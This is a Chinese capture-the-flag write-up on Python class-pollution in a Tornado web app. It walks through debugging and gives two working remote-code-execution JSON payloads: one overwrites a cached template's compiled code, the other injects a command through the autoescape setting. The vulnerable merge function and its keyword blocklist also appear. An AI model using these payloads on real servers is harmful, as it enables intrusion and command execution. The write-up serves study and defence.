来自数信杯的一道题目,涨知识了。
引入
由于本人并没有打数信杯,所以只能够简单复现一下环境了,网上搜到的源码基本上都是这样的(我在此基础上做了一点修改):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 import jsonimport osimport tornado.webfrom tornado import ioloop, web, options settings = {"static_path" : os.path.join(os.getcwd(), 'venv' , 'static' )}class Pollute : def __init__ (self ): pass def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : for x in ['eval' , 'os' , 'chr' , 'class' , 'compile' , 'dir' , 'exec' , 'globals' , 'help' , 'input' , 'local' , 'memoryview' , 'open' , 'print' , 'property' , 'reload' , 'object' , 'reduce' , 'repr' , 'method' , 'super' , "flag" , "file" , "decode" , "request" , "builtins" , "handler" ]: if x in v: return setattr (dst, k, v)class IndexHandler (tornado.web.RequestHandler): def get (self ): self.render("venv\\static\\index.html" ) def post (self ): msg = self.get_argument('json' , '{}' ) j = json.loads(msg) p = Pollute() merge(j, p) self.write("SUCCESS" )def make_app (): return tornado.web.Application([('/' , IndexHandler)], **settings)if __name__ == '__main__' : app = make_app() app.listen(5000 ) print (f"Server started on 127.0.0.1:5000, os.getcwd() = {os.getcwd()} " ) tornado.ioloop.IOLoop.current().start()
python原型链污染
可以看到我们的一个老朋友merge,除开这个waf以外,就是我们的原型链污染。简单介绍一下就是能够通过原型链污染掉类里面没有的属性,在调用一个类或者实例的属性的时候,如果没有找到,就会对应的父类中去找。这就是原型链的原理 ,如果我们改掉他的父类的值,我们就能够改掉这个类或者实例的值了,而merge这个函数就能够做到
挖掘
在此思路上,我们怎么去做这个题呢?
受到CISCN Sanic这题的启发下,想到的第一个可能性就是看看能不能够污染static,使其可以修改成我们的任意静态目录,如果能够修改到根目录下,就能够暴露出/flag并且直接访问
1 settings = {"static_path" : os.path.join(os.getcwd(), 'venv' , 'static' )}
注意我们不能够污染static_path,因为它只用于初始化。也就是说它只在程序被访问的时候使用过一次,后续都是程序内部的一个属性里加载static_path的值了
意思是就是static_path赋值给了tornado内的某一个属性,我们只需要污染这个属性就可以修改static_path
查看tornado官方文档的静态文件处可以得知静态文件采用StaticFileHandler来处理
在tornado.ioloop.IOLoop.current().start()处下断点调试,试图寻找到static_path被赋值到了哪里,最终发现在wildcard_router.rules里有它的身影:
利用evaluate expression来看怎么调用污染:
1 app.wildcard_router.rules[0].target_kwargs
为了利于我们测试,我们往get路由修改为:
1 2 3 4 def get (self ): self.render("venv\\static\\index.html" ) data = self.get_argument("cmd" ) print (eval (data))
调试:
1 cmd=app.wildcard_router.rules[0].target_kwargs
可以得到回显:
确实能够得到我们的static_path
但是我们能够直接修改吗?试试payload:
1 2 3 4 5 6 7 8 9 10 11 { "__init__" : { "__globals__" : { "app" : { "wildcard_router" : { "rules" : [ { "target_kwargs" : { "path" : "D:\\pycharm\\tornado_prototype" } } ] } } } } }
答案是不行,此时渲染之后访问会发现直接报错:
省流就是:
1 AttributeError: 'dict' object has no attribute 'matcher'
对的,有个matcher这个东西在搞鬼
我们重新debug一下:
会发现rules这个数组的每一个元素里都有四个部分:
1 matcher name target target_kwargs
更加烦人的是这个matcher是一个对象,我们不能够直接用json来覆盖:
1 <tornado.routing.PathMatches object at 0x000001CC82900290>
也就是说我们试图修改static失败了
rce1
参考tornado模板注入,我们可以发现一个问题:
对于 Tornado 来说,一旦 self.render 之后,就会实例化一个 tornado.template.Loader,这个时候再去修改文件内容,它也不会再实例化一次。所以这里需要把 tornado.web.RequestHandler._template_loaders 清空。否则在利用的时候,会一直用的第一个传入的 payload。
也就是说我们可以控制_template_loaders的值改为我们的ssti语句从而成功rce。由于它在RequestHandler._template_loaders,我们尝试从p = Pollute()找到它的位置:
能够找到IndexHandler找不到requestHandler
进IndexHandler看看:
里面确实有:
1 p.__init__.__globals__['IndexHandler'].__init__.__globals__['RequestHandler']
再进去找到_template_loaders
1 p.__init__.__globals__['IndexHandler'].__init__.__globals__['RequestHandler']._template_loaders
它的输出是这样的
1 {'D:\\pycharm\\tornado_prototype': <tornado.template.Loader object at 0x000001D3467F6410>}
比较奇怪,我们再进去看看:
利用__dict__查看:
1 {'autoescape': 'xhtml_escape', 'namespace': {}, 'whitespace': None, 'templates': {'venv\\static\\index.html': <tornado.template.Template object at 0x000001D3493FDF90>}, 'lock': <unlocked _thread.RLock object owner=0 count=0 at 0x000001D3493FDF00>, 'root': 'D:\\pycharm\\tornado_prototype'}
看到我们的index.html了,再跟进:
1 p.__init__.__globals__['IndexHandler'].__init__.__globals__['RequestHandler']._template_loaders['D:\\pycharm\\tornado_prototype'].templates['venv\\static\\index.html'].__dict__
1 { 'name': 'venv\\static\\index.html', 'autoescape': 'xhtml_escape', 'namespace': { } , 'file': <tornado.template._File object at 0x000001D3493FE2D0 >, 'code': 'def _tt_execute(): # venv\\static\\index.html: 0 \n _tt_buffer = [ ] # venv\\static\\index.html: 0 \n _tt_append = _tt_buffer.append # venv\\static\\index.html: 0 \n _tt_append(b\'<!DOCTYPE html>\\n<html lang="en" >\\n<head>\\n<meta charset="UTF-8" >\\n<title>Test</title>\\n</head>\\n<body>\\n\') # venv\\static\\index.html: 8 \n _tt_tmp = 1 # venv\\static\\index.html: 8 \n if isinstance(_tt_tmp, _tt_string_types): _tt_tmp = _tt_utf8(_tt_tmp) # venv\\static\\index.html: 8 \n else: _tt_tmp = _tt_utf8(str(_tt_tmp)) # venv\\static\\index.html: 8 \n _tt_tmp = _tt_utf8(xhtml_escape(_tt_tmp)) # venv\\static\\index.html: 8 \n _tt_append(_tt_tmp) # venv\\static\\index.htRml: 8 \n _tt_append(b\'\\n</body>\\n</html>\\n\') # venv\\static\\index.html: 11 \n return _tt_utf8(\'\').join(_tt_buffer) # venv\\static\\index.html: 0 \n', 'loader': <tornado.template.Loader object at 0x000001D3467F6410 >, 'compiled': <code object <module> at 0x000001D34904CC60 , file "venv\static\index_html.generated.py" , line 1 >}
发现里面有个code:
1 2 3 4 5 6 7 8 9 10 11 def _tt_execute (): _tt_buffer = [] _tt_append = _tt_buffer.append _tt_append(b'<!DOCTYPE html>\n<html lang="en">\n<head>\n<meta charset="UTF-8">\n<title>Test</title>\n</head>\n<body>\n' ) _tt_tmp = 1 if isinstance (_tt_tmp, _tt_string_types): _tt_tmp = _tt_utf8(_tt_tmp) else : _tt_tmp = _tt_utf8(str (_tt_tmp)) _tt_tmp = _tt_utf8(xhtml_escape(_tt_tmp)) _tt_append(_tt_tmp) _tt_append(b'\n</body>\n</html>\n' ) return _tt_utf8('' ).join(_tt_buffer)
问问ai:
这段代码是一个Python函数,名为 _tt_execute,它的作用是生成一个简单的HTML页面。下面是代码的逐行解释:
_tt_execute(): 定义了一个函数 _tt_execute,没有参数。
_tt_buffer = []: 初始化一个空列表 _tt_buffer,用于存储HTML页面的各个部分。
_tt_append = _tt_buffer.append: 将列表的 append 方法赋值给 _tt_append 变量,用于后续添加HTML代码。
_tt_append(b'<!DOCTYPE html>\n<html lang="en">\n<head>\n<meta charset="UTF-8">\n<title>Test</title>\n</head>\n<body>\n'): 向 _tt_buffer 中添加HTML页面的头部和 <body> 标签的开始部分。
_tt_tmp = 1: 初始化一个变量 _tt_tmp 并赋值为整数 1。
if isinstance(_tt_tmp, _tt_string_types): _tt_tmp = _tt_utf8(_tt_tmp): 检查 _tt_tmp 是否是字符串类型,如果是,则将其转换为UTF-8编码的字符串。
else: _tt_tmp = _tt_utf8(str(_tt_tmp)): 如果 _tt_tmp 不是字符串类型,则先将其转换为字符串,然后再转换为UTF-8编码的字符串。
_tt_tmp = _tt_utf8(xhtml_escape(_tt_tmp)): 对 _tt_tmp 进行XHTML转义,以确保HTML代码的安全。
_tt_append(_tt_tmp): 将转义后的 _tt_tmp 添加到 _tt_buffer 中。
_tt_append(b'\n</body>\n</html>\n'): 向 _tt_buffer 中添加HTML页面的结束部分,包括 </body> 和 </html> 标签。
return _tt_utf8('').join(_tt_buffer): 将 _tt_buffer 中的所有部分连接起来,并返回一个UTF-8编码的字符串,这个字符串就是完整的HTML页面。
注意:代码中提到的 _tt_string_types、_tt_utf8 和 xhtml_escape 函数没有在代码片段中定义,它们可能是在其他地方定义的辅助函数,用于处理字符串类型、编码和转义。_tt_utf8 函数可能是用来将字符串转换为UTF-8编码的函数,而 xhtml_escape 函数则用于转义HTML特殊字符。
简单地说就是这玩意就是用来渲染我们的html的,而且你看tt_tmp不就是我们的{{1}}吗,那修改了code是否就能够成功了呢?
实际上是不行的,而且这搞得json过于冗长,而且将其code随意更改后也没有爆出任何的异常:
只能另寻他路,注意到我们还有一个compiled,这里既然是关于模板渲染的问题,那去它的源码看看(template.py)
搜索关键字以后可以搜到generate()函数内有该code的生成逻辑:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 class _Expression (_Node ): def __init__ (self, expression: str , line: int , raw: bool = False ) -> None : self.expression = expression self.line = line self.raw = raw def generate (self, writer: "_CodeWriter" ) -> None : writer.write_line("_tt_tmp = %s" % self.expression, self.line) writer.write_line( "if isinstance(_tt_tmp, _tt_string_types):" " _tt_tmp = _tt_utf8(_tt_tmp)" , self.line, ) writer.write_line("else: _tt_tmp = _tt_utf8(str(_tt_tmp))" , self.line) if not self.raw and writer.current_template.autoescape is not None : writer.write_line( "_tt_tmp = _tt_utf8(%s(_tt_tmp))" % writer.current_template.autoescape, self.line, ) writer.write_line("_tt_append(_tt_tmp)" , self.line)
而且仔细观察可以发现code其实是由很多个generate()函数生成的,这是最后一部分:
1 2 3 4 5 6 7 def generate (self, writer: "_CodeWriter" ) -> None : writer.write_line("def _tt_execute():" , self.line) with writer.indent(): writer.write_line("_tt_buffer = []" , self.line) writer.write_line("_tt_append = _tt_buffer.append" , self.line) self.body.generate(writer) writer.write_line("return _tt_utf8('').join(_tt_buffer)" , self.line)
它的调用始于:
这里的generate就是指向上面最后的一部分,可以得到return buffer.getvalue()应该就是得到code
往上一级查看_generate_python在哪被调用了:
可以看到它将这段代码编译好了,compiled就是用在这里的,把编译好的对象放入compiled,然后下面的Generate函数是专门根据compiled生成模板的
关注exec_in
1 2 3 4 5 6 7 8 def exec_in ( code: Any , glob: Dict [str , Any ], loc: Optional [Optional [Mapping[str , Any ]]] = None ) -> None : if isinstance (code, str ): code = compile (code, "<string>" , "exec" , dont_inherit=True ) exec (code, glob, loc)
如果code是str类型的话也会编译运行,所以我们可以直接改compiled为str进行模板注入:
1 json={"__init__":{"__globals__":{"IndexHandler":{"__init__":{"__globals__":{"RequestHandler":{"_template_loaders":{"D:\\pycharm\\tornado_prototype":{"templates":{"venv\\static\\index.html":{"compiled":"import subprocess\nsubprocess.run(['whoami','>','./1.txt'],shell=True,stdout=subprocess.PIPE).stdout\n"}}}}}}}}}}}
目前只能够实现这样的rce,而且static目录必须是可以写的
而且有一个最大的限制:你要知道项目的名字是什么,就像这里D:\pycharm\tornado_prototype ,如果你不知道这个就不能这么样去用,这个方法局限比较大,因此我们还得找一条其他的路
rce2
重新探索该模板还有什么地方能够让我们更加方便地rce,重点看我们的模板,此时会发现有一个地方写入了一个新的东西:
1 writer.current_template.autoescape
控制autoescape的地方在这里:
关键是loader如果我们能够控制loader的话就能够控制autoescape
按ctrl+left跟随autoescape:
1 loader: Optional["BaseLoader"] = None,
ctrl+alt+f7查看BaseLoader查看在哪被定义的:
锁定web.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 def create_template_loader (self, template_path: str ) -> template.BaseLoader: """Returns a new template loader for the given path. May be overridden by subclasses. By default returns a directory-based loader on the given path, using the ``autoescape`` and ``template_whitespace`` application settings. If a ``template_loader`` application setting is supplied, uses that instead. """ settings = self.application.settings if "template_loader" in settings: return settings["template_loader" ] kwargs = {} if "autoescape" in settings: kwargs["autoescape" ] = settings["autoescape" ] if "template_whitespace" in settings: kwargs["whitespace" ] = settings["template_whitespace" ] return template.Loader(template_path, **kwargs)
可以看到
1 2 3 4 if "autoescape" in settings: kwargs["autoescape" ] = settings["autoescape" ]
也就是说我们只需要控制settings就可以控制autoescape了
debug一下看看settings在哪就可以了,其实就在app里
最后我们只需要拿到app就可以了,简单测测就知道通过p.__init__.__globals__['app']就能拿到
那exp就很简单了,注意一下要闭合:
1 2 3 4 writer.write_line( "_tt_tmp = _tt_utf8(%s(_tt_tmp))" % writer.current_template.autoescape, self.line, )
这里还有一个需要注意的小点就是上面这个地方,如果直接写就是会报缩进错误,所以此时要空4个格就可以了。
1 json={"__class__":{"__init__":{"__globals__":{"app":{"settings":{"autoescape":"'1')\n__import__('os').popen('whoami').read()#"}}}}}}
同样地没有回显,所以只能够打反弹shell之类的了
Reference
https://cn-sec.com/archives/3262945.html
https://xz.aliyun.com/t/12260?time__1311=GqGxRDcGit0%3DD%3DD%2FYriQ%3Du%2BnDun8YNKaF4D#toc-9